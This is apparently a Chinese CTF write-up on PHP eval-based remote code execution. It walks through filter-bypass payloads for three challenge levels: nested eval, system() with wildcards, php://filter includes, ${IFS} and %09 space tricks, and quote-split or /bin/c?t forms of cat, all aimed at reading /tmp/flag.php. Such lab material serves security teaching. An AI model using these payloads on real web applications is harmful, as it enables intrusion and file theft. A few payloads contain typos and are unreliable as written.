RCE(remote command/code execute ,远程命令执行)
命令执行一般发生在远程,故被称为远程命令执行。
分为远程命令执行ping和远程代码执行evel。
PHP eval() 函数
rce1(引入)
拿到这道题,是一个白盒代码审计
目标语句是拿到tmp目录下的flag.php
让系统执行以下语句
cat /tmp/flag.php
error_reporting() 使程序不报错,降低敏感性
preg_match() 用来正则匹配,检测c中有没有flag
eval() 执行c命令,c是由get传入的参数
于是就可以先用phpinfo()测试一下
当然还可以执行系统命令system,通配符绕过
c=system("cat /tmp/fla?.php");
还可以用嵌套eval来绕过flag的正则匹配,原理在于preg_match只对c做了过滤,没对w进行过滤
c=eval($_GET[w]);&w=system("cat /tmp/flag.php");
拼接源代码后,eval($ _GET[w]);)会按照php代码来执行:
当然也可以直接c=system()
c=system($_GET[w]);&w=cat /tmp/flag.php
还可以用文件包含的伪协议命令来读文件
文件包含payload:
?filename=php:/filter/convert.base64-encode/resource=文件路径.php
本关paylaod:
c=include(&_GET[w]);&w=php:/filter/convert.base64-encode/resource=/tmp/flag.php
还可以用反引号,但是没有自带回显,需要加上echo
rce2(变形)
这次过滤更加严格,我们先用二次eval
c=eval($_GET[w]);&w=phpinfo();
c=eval($_GET[w]);&w=system(cat /tmp/flag.php)
反应号也可以使用,但是绕过空格不能用$IFS$9,此时是代码层面,不是操作系统,可以使用%09
然后cat被过滤了,可以用more,跟tac
rce3
这关代码过滤的更多了
关键在于怎么绕过cat
可以使用之前的单引号绕过
c=c'a't${IFS}/tmp/fla?.php
如果直接c?t,系统的全局变量无法发挥作用,找不到这个文件
这里来一种新方式,想给cat用通配符,就要用cat的绝对路劲
bin目录下有很多可执行的文件
c=/bin/c?t${IFS}/tmp/fla?.php